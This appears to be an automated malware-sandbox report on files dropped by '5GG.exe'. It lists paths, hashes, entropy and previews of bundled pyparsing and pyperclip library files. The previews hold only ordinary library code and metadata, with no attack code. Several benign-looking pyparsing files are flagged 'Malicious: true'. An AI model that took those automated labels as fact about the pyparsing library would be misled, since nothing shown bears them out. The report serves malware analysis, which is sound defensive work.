Preview:	o.........e.!.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d...Z.e.d.e.d...Z.G.d.d...d...Z.e.d.d...d.e.d.e.d.e.f.d.d.....Z.e.d.d...d.e.d.e.d.e.f.d.d.....Z.e.d.d...d.e.d.e.d.e.f.d.d.....Z.G.d.d...d...Z.G.d.d...d...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.e.d.e.f.d.d...Z...d,d.e.e.e.e...f...d e.d.e.f.d!d"..Z.d#e d.e f.d$d%..Z!d&e.d'e.d.e.f.d(d)..Z"d'e.d.e.e.g.e.f...f.d*d+..Z#d.S.)-.....N)...lru_cache..wraps)...Callable..List..Union..Iterable..TypeVar..cast.\.....C)...boundc....................@...sZ...e.Z.d.Z.U.d.Z.g.Z.e.e...e.d.<.g.Z.e.e...e.d.<.d.Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.S.)...__config_flagsz=Internal class for defining compatibility and debugging flags.._all_names.._fixed_names..configurationc....................C...sv...\|.\|.j.v.r#t.j.\|.j...d.\|...d.\|.j...d.t.t.\|.\|...........d...d.d.....d.S.\|.\|.j.v.r0t.\|.\|.\|.....d.S.t.d.\|.j...d.\|.........).N..... z. is z. and cannot be overridden.....)...stacklevelz.no

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\actions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6567
Entropy (8bit):	4.704950034201965
Encrypted:	false
SSDEEP:	96:HIb2SjGNsVS8/asbyQKScTYeFOPhTJJ2M/HgScYGZhl7Zz74SnVJB39uDBvQ:HRNUJyQ28NjFY/Zz7V39utQ
MD5:	97193C1C00ED32DF51CF2E57385B514E
SHA1:	9C417653572B6956BE49AFB31BFED33F25E51E0D
SHA-256:	D39B9A20F3B39C93D0ED5811766182986E2C0E750FB7082FE6A39822A6CBD946
SHA-512:	4F246D6F4178F297B2AD1E613D149BCADF00824401357EF5C84D1140FF2398A7482FB5544313667372A78ABB903B68E4824C7EF6365258349E5F55F5AA6E9C00
Malicious:	true
Preview:	# actions.py..from .exceptions import ParseException.from .util import col, replaced_by_pep8...class OnlyOnce:. """. Wrapper for parse actions, to ensure they are only called once.. """.. def __init__(self, method_call):. from .core import _trim_arity.. self.callable = _trim_arity(method_call). self.called = False.. def __call__(self, s, l, t):. if not self.called:. results = self.callable(s, l, t). self.called = True. return results. raise ParseException(s, l, "OnlyOnce obj called multiple times w/out reset").. def reset(self):. """. Allow the associated parse action to be called once more.. """.. self.called = False...def match_only_at_col(n):. """. Helper method for defining parse actions that require matching at. a specific column in the input text.. """.. def verify_col(strg, locn, toks):. if col(locn, strg) != n:. raise ParseException(

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\common.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13387
Entropy (8bit):	4.8693639130340305
Encrypted:	false
SSDEEP:	384:gAabxpkZEzbTgNfLZcQ0YwZaV1HRWk8nTtp:gpvSNYZqWkop
MD5:	168A86BEE8A62563BD1B46047449F40C
SHA1:	693942EDCC014F997CB8BF451270C01A025B4D0C
SHA-256:	A7EDDCF37139F838E5905DF91B43BDFA48D0469A1E8CFFB6FF3D21C59F9EA25E
SHA-512:	8D0E5D4AE8EF116372B33B54D5039C99896B43EC800A63C8FF71AF3E5C544B5E779A7EDB9BB7EBAD2D7B3DC156B61AA19FC3F8106B9BF30A253DBA242F1D7CA5
Malicious:	true
Preview:	# common.py.from .core import *.from .helpers import DelimitedList, any_open_tag, any_close_tag.from datetime import datetime...# some other useful expressions - using lower-case class name since we are really using this as a namespace.class pyparsing_common:. """Here are some common low-level expressions that may be useful in. jump-starting parser development:.. - numeric forms (:class:`integers<integer>`, :class:`reals<real>`,. :class:`scientific notation<sci_real>`). - common :class:`programming identifiers<identifier>`. - network addresses (:class:`MAC<mac_address>`,. :class:`IPv4<ipv4_address>`, :class:`IPv6<ipv6_address>`). - ISO8601 :class:`dates<iso8601_date>` and. :class:`datetime<iso8601_datetime>`. - :class:`UUID<uuid>`. - :class:`comma-separated list<comma_separated_list>`. - :class:`url`.. Parse actions:.. - :class:`convert_to_integer`. - :class:`convert_to_float`. - :class:`convert_to_date`. - :class:`convert_to_dat

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\core.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	226596
Entropy (8bit):	4.473159590456902
Encrypted:	false
SSDEEP:	6144:8K6seXqrQE0EYwyoy5uuhT2xtPyGGOBWWUe/LYJp2VdprxrF+yPCZjW:h8GGuUe86FLyW
MD5:	7237D31A8C2B85C6C4CC97B0DCC9D6DF
SHA1:	E671BA6658FA363D1525D71EE538D8A40C6F75A4
SHA-256:	48BEDD9180E1849962594DEF1D63D664819544C7DB8DAD217E6FBEC280DD3878
SHA-512:	DC706B1F18AC9F5B91AE9F324A85F8F66D0936CCCEFCFCC7EB7943BC666C8C7FC07C2B6113B7E9A5AEA13C7A7AD1622E57C9D620518F202BBDC78EA29AC64FAB
Malicious:	true
Preview:	#.# core.py.#..from collections import deque.import os.import typing.from typing import (. Any,. Callable,. Generator,. List,. NamedTuple,. Sequence,. Set,. TextIO,. Tuple,. Union,. cast,.).from abc import ABC, abstractmethod.from enum import Enum.import string.import copy.import warnings.import re.import sys.from collections.abc import Iterable.import traceback.import types.from operator import itemgetter.from functools import wraps.from threading import RLock.from pathlib import Path..from .util import (. _FifoCache,. _UnboundedCache,. __config_flags,. _collapse_string_to_ranges,. _escape_regex_range_chars,. _bslash,. _flatten,. LRUMemo as _LRUMemo,. UnboundedMemo as _UnboundedMemo,. replaced_by_pep8,.).from .exceptions import .from .actions import .from .results import ParseResults, _ParseResultsWithOffset.from .unicode import pyparsing_unicode.._MAX_INT = sys.maxsize.str_type: Tuple[type, ...] = (str, bytes)..#.# Copy

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\diagram\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24198
Entropy (8bit):	4.458443838324402
Encrypted:	false
SSDEEP:	384:3LzwwHHRVUeF/RTkSFAX3EQVbCrq614OPtL5cMKrEG6AvS+Cn:3LzwwHx2eF/RTkS6X3EQp21BNcMI/662
MD5:	B61B7023185CFCCD05F74ED2A613DDF6
SHA1:	FB0537F089A3F850D672B36CA8763BD50A5FC794
SHA-256:	4D4AA4CB42FAE3630953CAFACD3596F2802BFACFBC8CE58BCA25A025EBF4E18A
SHA-512:	F17BA072DA5719707A7EF0AAA3BFC1B17D0718378324802E461A97CEB2B486C7029E422DA808F76BA83F52BAB6E0EA278DF5AC184FA1B57907A06EBB14CB7A13
Malicious:	true
Preview:	# mypy: ignore-errors.import railroad.import pyparsing.import typing.from typing import (. List,. NamedTuple,. Generic,. TypeVar,. Dict,. Callable,. Set,. Iterable,.).from jinja2 import Template.from io import StringIO.import inspect...jinja2_template_source = """\.{% if not embed %}.<!DOCTYPE html>.<html>.<head>.{% endif %}. {% if not head %}. <style>. .railroad-heading {. font-family: monospace;. }. </style>. {% else %}. {{ head \| safe }}. {% endif %}.{% if not embed %}.</head>.<body>.{% endif %}.{{ body \| safe }}.{% for diagram in diagrams %}. <div class="railroad-group">. <h1 class="railroad-heading">{{ diagram.title }}</h1>. <div class="railroad-description">{{ diagram.text }}</div>. <div class="railroad-svg">. {{ diagram.svg }}. </div>. </div>.{% endfor %}.{% if not embed %}.</body>.</html>.{% endif %}."""..template = Template(jinja2_template_sou

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\diagram\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	16874
Entropy (8bit):	5.4354590516896195
Encrypted:	false
SSDEEP:	192:U8nr32Zq1kFkWby5HRe+zR6H4oG3IC02h9U1qB4zrgSnhPi4OPDa+gqN41Bz8u:UEr7Wby5HRe+zR6stqrRi4OPDazjzT
MD5:	F5CB5C9D80DE3658D7CE2B8AECE04E55
SHA1:	F0F4014FB0FBB706FED3E477FE590FF68533DFF7
SHA-256:	FFC66463D434CDF9FD6FBB2406182BDB88E3E61069DACF917E36E1152B17B6D4
SHA-512:	E71BC47AC62178AC1AAF1A61E2E996CAC1B499E4AF0CC9DF30B1C4D9FB579FD5A745A09D7B5B7D4E5C35B8B8D6C88E5B147D53FCCFF73B36A7D931E01384D656
Malicious:	false
Preview:	o.........e.^.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.Z.e.e...Z.e.d.d.e.f.d.e.j.e.j...f.d.e.f.g...Z...e.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.e.....Z.d5d.e.e...d.e.f.d.d...Z.d.d.d.e.f.d.d...Z.........d6d.e.j.d.e.j.e...d.e.d.e d.e d.e.e...f.d d!..Z!d"e.d#e.e.j...d.e f.d$d%..Z"G.d&d'..d'..Z#G.d(d)..d)..Z$d.e.j.d.e f.d*d+..Z%d,d-..Z&d#e.e.j...f.d.d/..Z'e&............d7d.e.j.d0e.j.e...d1e$d.e.d.e.d2e.d.e d.e d.e.j.e...f.d3d4....Z(d.S.)8.....N)...List..NamedTuple..Generic..TypeVar..Dict..Callable..Set..Iterable)...Template)...StringIOa....{% if not embed %}.<!DOCTYPE html>.<html>.<head>.{% endif %}. {% if not head %}. <style>. .railroad-heading {. font-family: monospace;. }. </style>. {% else %}. {{ head \| safe }}. {% endif %}.{% if not embed %}.</head>.<body>.{% endif %}.{{ body \| safe }}.{% for diagram in diagrams %}.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\exceptions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9523
Entropy (8bit):	4.350560699979647
Encrypted:	false
SSDEEP:	192:AwQZVA6dvk/Rh5ULmzBBMbVxtzvk/OYHtolo2:AjZVN+RvUKjMhobj2
MD5:	D766F5ADC5EEA0117932CCE82A2574A5
SHA1:	33F826B5F61CB81EACA0761A76D4C5BF3FD29DED
SHA-256:	E8973A5B5783641CF216ED49D18ADC74D155042F9120DBA3666BDE4A707C471C
SHA-512:	6974C8D151ECEF30145FE784D0BA61A68B2C67EDE5C686241232192D6BE0D01301B3C2B9363A4C20D3383BD8250AE51A75764B4ABB033532A3B0F08DDC6983AE
Malicious:	true
Preview:	# exceptions.py..import re.import sys.import typing..from .util import (. col,. line,. lineno,. _collapse_string_to_ranges,. replaced_by_pep8,.).from .unicode import pyparsing_unicode as ppu...class ExceptionWordUnicode(ppu.Latin1, ppu.LatinA, ppu.LatinB, ppu.Greek, ppu.Cyrillic):. pass..._extract_alphanums = _collapse_string_to_ranges(ExceptionWordUnicode.alphanums)._exception_word_extractor = re.compile("([" + _extract_alphanums + "]{1,16})\|.")...class ParseBaseException(Exception):. """base exception class for all parsing runtime exceptions""".. loc: int. msg: str. pstr: str. parser_element: typing.Any # "ParserElement". args: typing.Tuple[str, int, typing.Optional[str]].. __slots__ = (. "loc",. "msg",. "pstr",. "parser_element",. "args",. ).. # Performance tuning: we construct a lot of these, so keep this. # constructor as small and fast as possible. def __init__(. self,. pstr: st

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\helpers.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	38646
Entropy (8bit):	4.656417128130297
Encrypted:	false
SSDEEP:	768:8ukgqBqNGJZreajVVlz8DoGQxMntYl8XqDBroDe76Y:8CqgNGJZreajV7zmFSDl8Xqtci
MD5:	AFA5F059CAF348C09B7C940BDB477F16
SHA1:	9C5C1546309D245E734F49C2FA0AF6050E992C66
SHA-256:	059247080F124B4A588A8DF428641373DC36A8C39A2B862967B85CBC76E74E09
SHA-512:	F61AB3627F105345BDAE9C1EDFE225D648987D424EA0CF76FC50CEF2A5941E5CD05BEACFBE3620F537944812E0627D0D1DD40E004DC69099FA8297C8150E84A6
Malicious:	true
Preview:	# helpers.py.import html.entities.import re.import sys.import typing..from . import __diag__.from .core import .from .util import (. _bslash,. _flatten,. _escape_regex_range_chars,. replaced_by_pep8,.)...#.# global helpers.#.def counted_array(. expr: ParserElement,. int_expr: typing.Optional[ParserElement] = None,. ,. intExpr: typing.Optional[ParserElement] = None,.) -> ParserElement:. """Helper to define a counted list of expressions... This helper defines a pattern of the form::.. integer expr expr expr..... where the leading integer tells how many expr expressions follow.. The matched tokens returns the array of expr tokens as a list - the. leading count token is suppressed... If ``int_expr`` is specified, it should be a pyparsing expression. that produces an integer value... Example::.. counted_array(Word(alphas)).parse_string('2 ab cd ef') # -> ['ab', 'cd'].. # in this parser, the leading integer value is give

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\results.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	26692
Entropy (8bit):	4.204400723970669
Encrypted:	false
SSDEEP:	384:GmJUTRSwOjIST4QY67UNkeEbf7CLulGcvb2HgmxbHc/IWhKRz:GmJUTn167Oke0jl1vbOgMY/Ix
MD5:	502DA695A726CFE3CB2735CC31B56A3E
SHA1:	BE84B1B49E3828EC37D7F4B2FFE52F7BFC997815
SHA-256:	F5DCAA43EC373237E6C566C5B7C2843D4E887D77B245DA16A763A0F34DAB5106
SHA-512:	396E5F5060778AFC4EB9FC8373F6041707E74085A4DD714A8A8734F26635BFE511499642C931DB311E10A268E91E817FC322A5440C9A64FE09BE125C4AFED20E
Malicious:	true
Preview:	# results.py.from collections.abc import (. MutableMapping,. Mapping,. MutableSequence,. Iterator,. Sequence,. Container,.).import pprint.from typing import Tuple, Any, Dict, Set, List..str_type: Tuple[type, ...] = (str, bytes)._generator_type = type((_ for _ in ()))...class _ParseResultsWithOffset:. tup: Tuple["ParseResults", int]. __slots__ = ["tup"].. def __init__(self, p1: "ParseResults", p2: int):. self.tup: Tuple[ParseResults, int] = (p1, p2).. def __getitem__(self, i):. return self.tup[i].. def __getstate__(self):. return self.tup.. def __setstate__(self, *args):. self.tup = args[0]...class ParseResults:. """Structured parse results, to provide multiple means of access to. the parsed data:.. - as a list (``len(results)``). - by list index (``results[0], results[1]``, etc.). - by attribute (``results.<results_name>`` - see :class:`ParserElement.set_results_name`).. Example::.. integer = Word(

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\testing.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	13488
Entropy (8bit):	4.1543808981423656
Encrypted:	false
SSDEEP:	192:Zz3aqFdLGsdiBvo9NdnzV6SSMj7QT1hsq1aNnm58fyI1hY/rMi5lXSy1+DuT0x:Zz35FWho93L7QTNw1hwrHD+ST0x
MD5:	090655DAAB366F55D2D0B8BFFEB969B7
SHA1:	0F2A7BAA07027F68D8A500B4184FE593C2299BDD
SHA-256:	7899DC834A7CDF39B51533EF33D6AE353EA86AF22F5DA89B9911437F5AA6C246
SHA-512:	12F5BE3D6C675CD669E4C7A1804540F3E8D2A5E117863FAB0E61E9363AA54EF7E177265D2B95370C2D0769F46982E094CDA9322BD5FE94ED1D4D4EDA4CB9A23B
Malicious:	true
Preview:	# testing.py..from contextlib import contextmanager.import typing..from .core import (. ParserElement,. ParseException,. Keyword,. __diag__,. __compat__,.)...class pyparsing_test:. """. namespace class for classes useful in writing unit tests. """.. class reset_pyparsing_context:. """. Context manager to be used when writing unit tests that modify pyparsing config values:. - packrat parsing. - bounded recursion parsing. - default whitespace characters.. - default keyword characters. - literal string auto-conversion class. - __diag__ settings.. Example::.. with reset_pyparsing_context():. # test that literals used to construct a grammar are automatically suppressed. ParserElement.inlineLiteralsUsing(Suppress).. term = Word(alphas) \| Word(nums). group = Group('(' + term[...] + ')').. # assert that the '()' characte

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\unicode.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	10634
Entropy (8bit):	4.601313260579962
Encrypted:	false
SSDEEP:	192:XZ/nCtDWwPb9kc61beTSxgRMnUM7/eyI+I3ZKJlyoAARXs/HpieVslhNoRC:XRCtD5z4geUM7Wyr6ZME5klYC
MD5:	CD7C7C406225AFD24672CE84A5951A2B
SHA1:	0A6A3FAD42A2BE1A28B5B3B10787B940F43A9D39
SHA-256:	6D7CBADEDE2E7AF5991F424A26D77A5C520A82C08E7C8971BDC0C2470F8C90DF
SHA-512:	2A6A0C0E31A43D7584944B40D950E3389BB930C777517F391CD6E0C87176A737E86047A17E0110715EB7FEFA510F890B9EAE5E943816E1A4B07155B7282337F6
Malicious:	true
Preview:	# unicode.py..import sys.from itertools import filterfalse.from typing import List, Tuple, Union...class _lazyclassproperty:. def __init__(self, fn):. self.fn = fn. self.__doc__ = fn.__doc__. self.__name__ = fn.__name__.. def __get__(self, obj, cls):. if cls is None:. cls = type(obj). if not hasattr(cls, "_intern") or any(. cls._intern is getattr(superclass, "_intern", []). for superclass in cls.__mro__[1:]. ):. cls._intern = {}. attrname = self.fn.__name__. if attrname not in cls._intern:. cls._intern[attrname] = self.fn(cls). return cls._intern[attrname]...UnicodeRangeList = List[Union[Tuple[int, int], Tuple[int]]]...class unicode_set:. """. A set of Unicode characters, for language-specific strings for. ``alphas``, ``nums``, ``alphanums``, and ``printables``.. A unicode_set is defined by a list of ranges in the Unicode character. set, in a class

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyparsing\util.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8670
Entropy (8bit):	4.52628162624378
Encrypted:	false
SSDEEP:	192:6mujyjYUceklDJfctkDB/7kkcNb/IjEoAHukt/nTaj:B8uUIkcOjzXz
MD5:	98446240BEF4E0F94DD082E933FFC8ED
SHA1:	D3A1B5E8AC661F741153B0757CE509530F59DDE5
SHA-256:	BD33334DDC120F257C77F75282AB944DD5A0045A00FD6DF49DFC44243B2C8514
SHA-512:	02EE65A2FA37B4D7C635E477DBFDE790BE69393DF69F87C743780A314896995827FC00FA3390FF80623D7368BB399344A19670B5716CA2692D3E2D2DC058913B
Malicious:	true
Preview:	# util.py.import inspect.import warnings.import types.import collections.import itertools.from functools import lru_cache, wraps.from typing import Callable, List, Union, Iterable, TypeVar, cast.._bslash = chr(92).C = TypeVar("C", bound=Callable)...class __config_flags:. """Internal class for defining compatibility and debugging flags""".. _all_names: List[str] = []. _fixed_names: List[str] = []. _type_desc = "configuration".. @classmethod. def _set(cls, dname, value):. if dname in cls._fixed_names:. warnings.warn(. f"{cls.__name__}.{dname} {cls._type_desc} is {str(getattr(cls, dname)).upper()}". f" and cannot be overridden",. stacklevel=3,. ). return. if dname in cls._all_names:. setattr(cls, dname, value). else:. raise ValueError(f"no such {cls._type_desc} {dname!r}").. enable = classmethod(lambda cls, name: cls._set(name, True)). disable =

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip-1.8.2.dist-info\AUTHORS.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1925
Entropy (8bit):	5.0326257956403815
Encrypted:	false
SSDEEP:	24:BPRsx3VlWrDnxwoa4SminIxq6neDdPPWU9DLkwjGrUSl381+yP:BaJVlWJanmin1YYBPlYOiUSBcP
MD5:	F4E56FAA2F24D5DB4EC26A03D7E5D451
SHA1:	E83B4A50E95C6FE07F1E4B8282D4097DBCF11C9D
SHA-256:	4DC406EB461C167270EBEEE83EFDB54435DEB24F503FFC1FBE0E1D27A9971124
SHA-512:	5AC9CBBF4A34AA7C51B01CB9D0FFC530EDE83F97755000487D53B5B130C134FA9BE5A027474B662496AFAC1C143756FE15F13F0D2A1CE407EEAA5F4C511A47A6
Malicious:	false
Preview:	Here is an inevitably incomplete list of MUCH-APPRECIATED CONTRIBUTORS --..people who have submitted patches, reported bugs, added translations, helped..answer newbie questions, and generally made Pyperclip that much better:....Al Sweigart..Alexander Cobleigh .@cblgh..Andrea Scarpino https://github.com/ilpianista..Aniket Pandey https://github.com/lordaniket06..Anton Yakutovich https://github.com/drakulavich..Brian Levin https://github.com/bnice5000..Carvell Scott https://github.com/CarvellScott..Cees Timmerman https://github.com/CTimmerman..Chris Clark..Christopher Lambert https://github.com/XN137..Chris Woerz https://github.com/erendrake..Edd Barrett https://github.com/vext01..Eugene Yang https://github.com/eugene-yang..Felix Yan https://github.com/felixonmars..fthoma https://github.com/fthoma..Greg Witt https://github.com/GoodGuyGregory..hinlader https://github.com/hinlader..Hugo https://github.com/hugovk..Hynek Cernoch https://github.com/hynekcer..Jason R. Coombs https://github.co

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip-1.8.2.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip-1.8.2.dist-info\LICENSE.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1514
Entropy (8bit):	5.163822640208753
Encrypted:	false
SSDEEP:	24:q3Unzol+bOOrmIFT0+JaFTzwXQ3BiZ9H432sZEOkDs8nROk32s3yetTfj13tQpzu:XOOrfJiJzfoDH432smH32s39t313tuzu
MD5:	DC8ED8BA9F09F565F0FE63910E4CE0FC
SHA1:	0B5987B151853A0D55A7629EEA600FE5CD311E8B
SHA-256:	F5793F4C4B281DE1F2F92CDEB28E31E57E2DAB802CE967B0BBD107ED5BBC2E35
SHA-512:	B9E9BADD6CBEE9D8588B6A541D84A1C9406896B724329E8DBDA2F2510909EFBF2BD34D3AF7AF9B3B9C0E886FF47ECC0E4C3F4CF1F3313A025D4348519D9DB167
Malicious:	false
Preview:	Copyright (c) 2014, Al Sweigart..All rights reserved.....Redistribution and use in source and binary forms, with or without..modification, are permitted provided that the following conditions are met:....* Redistributions of source code must retain the above copyright notice, this.. list of conditions and the following disclaimer.....* Redistributions in binary form must reproduce the above copyright notice,.. this list of conditions and the following disclaimer in the documentation.. and/or other materials provided with the distribution.....* Neither the name of the {organization} nor the names of its.. contributors may be used to endorse or promote products derived from.. this software without specific prior written permission.....THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"..AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE..IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE..DISCLAIMED. IN NO EV

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip-1.8.2.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2351
Entropy (8bit):	4.981729762640391
Encrypted:	false
SSDEEP:	48:Dn06x6aUQIYGoovvOPI5Krkl261Xiofk6v3kkiMdebey:Dn0yBUQIvoovvOPI5Krklz1SofkqA
MD5:	D20CC67A12C2B4D7987181EE949F3F49
SHA1:	DC0583A357DFAF7280740F682B0BDADBE61E786A
SHA-256:	18C20F1001975B333CB1AEFC51CF337C17CD56F6F6FA513B5DA1EE585A40BDC1
SHA-512:	973992DF8E6F0456CF1EB31FD7393C4922C9CEB9EDA9D515FEC503B209386935E7E7A740C19B0D2B6ABB2C496714F9C886D3AB57A3DDB3C3266F99462F5BCB37
Malicious:	false
Preview:	Metadata-Version: 2.1..Name: pyperclip..Version: 1.8.2..Summary: A cross-platform clipboard module for Python. (Only handles plain text for now.)..Home-page: https://github.com/asweigart/pyperclip..Author: Al Sweigart..Author-email: al@inventwithpython.com..License: BSD..Keywords: clipboard copy paste clip xsel xclip..Classifier: Development Status :: 5 - Production/Stable..Classifier: Environment :: Win32 (MS Windows)..Classifier: Environment :: X11 Applications..Classifier: Environment :: MacOS X..Classifier: Intended Audience :: Developers..Classifier: License :: OSI Approved :: BSD License..Classifier: Operating System :: OS Independent..Classifier: Programming Language :: Python..Classifier: Programming Language :: Python :: 2..Classifier: Programming Language :: Python :: 2.6..Classifier: Programming Language :: Python :: 2.7..Classifier: Programming Language :: Python :: 3..Classifier: Programming Language :: Python :: 3.1..Classifier: Programming Language :: Python :: 3.2..Clas

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip-1.8.2.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	938
Entropy (8bit):	5.827214208355947
Encrypted:	false
SSDEEP:	24:ri7WYGXkIn/2zDmvCi+BurEsJF5+T2lRGqRQtl2k:ri7WYGXkInuXmaFur5JF562lRfRex
MD5:	2D26AD4B29A211E2FB6D8EA7E3818EBF
SHA1:	2D60BCA952BBF36FE393C90471482DA845167B9C
SHA-256:	6912A78C802F6A0808C7674BE87256C029960F182EC87EB1840F66353BA0505A
SHA-512:	38A9D61DED0A661A530F5B16C661B60BA56D6FEA003F3F8FF6C619F07FF6BCAD7D437DF68509E7BEAE46549B48BF1013447F297A1D8F15F56BAF78561C27A22D
Malicious:	false
Preview:	pyperclip-1.8.2.dist-info/AUTHORS.txt,sha256=TcQG60YcFnJw6-7oPv21RDXesk9QP_wfvg4dJ6mXESQ,1925..pyperclip-1.8.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..pyperclip-1.8.2.dist-info/LICENSE.txt,sha256=9Xk_TEsoHeHy-Szeso4x5X4tq4As6Wewu9EH7Vu8LjU,1514..pyperclip-1.8.2.dist-info/METADATA,sha256=GMIPEAGXWzM8sa78Uc8zfBfNVvb2-lE7XaHuWFpAvcE,2351..pyperclip-1.8.2.dist-info/RECORD,,..pyperclip-1.8.2.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..pyperclip-1.8.2.dist-info/WHEEL,sha256=yQN5g4mg4AybRjkgi-9yy4iQEFibGQmlz78Pik5Or-A,92..pyperclip-1.8.2.dist-info/top_level.txt,sha256=leI5OPkUKAOaQl9ATsm3ggu-DA_33DH76xC_nLGPH-I,10..pyperclip/__init__.py,sha256=IqvWttZrSEEZB2wqyRRMeoT7eoIdPbNwrMe3v0M-aJs,26043..pyperclip/__main__.py,sha256=itIOl_l6GNHXx707JROTiNPcvZiU3xuhAk66dk3xlwY,765..pyperclip/__pycache__/__init__.cpython-310.pyc,,..pyperclip/__pycache__/__main__.cpython-310.pyc,,..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip-1.8.2.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.842566724466667
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlF5jP+tPCCfA5S:RtBMwlVNWBBf
MD5:	18F1A484771C3F3A3D3B90DF42ACFBBE
SHA1:	CAB34A71BD14A5EEDE447EEB4CFA561E5B976A94
SHA-256:	C903798389A0E00C9B4639208BEF72CB889010589B1909A5CFBF0F8A4E4EAFE0
SHA-512:	3EFAF71D54FC3C3102090E0D0F718909564242079DE0AA92DACAB91C50421F80CBF30A71136510D161CAAC5DC2733D00EB33A4094DE8604E5CA5D307245158AA
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.41.2).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\pyperclip-1.8.2.dist-info\top_level.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.8464393446710154
Encrypted:	false
SSDEEP:	3:be2n:q2
MD5:	83EF0DD9006F3338D7000E3BBB67F39A
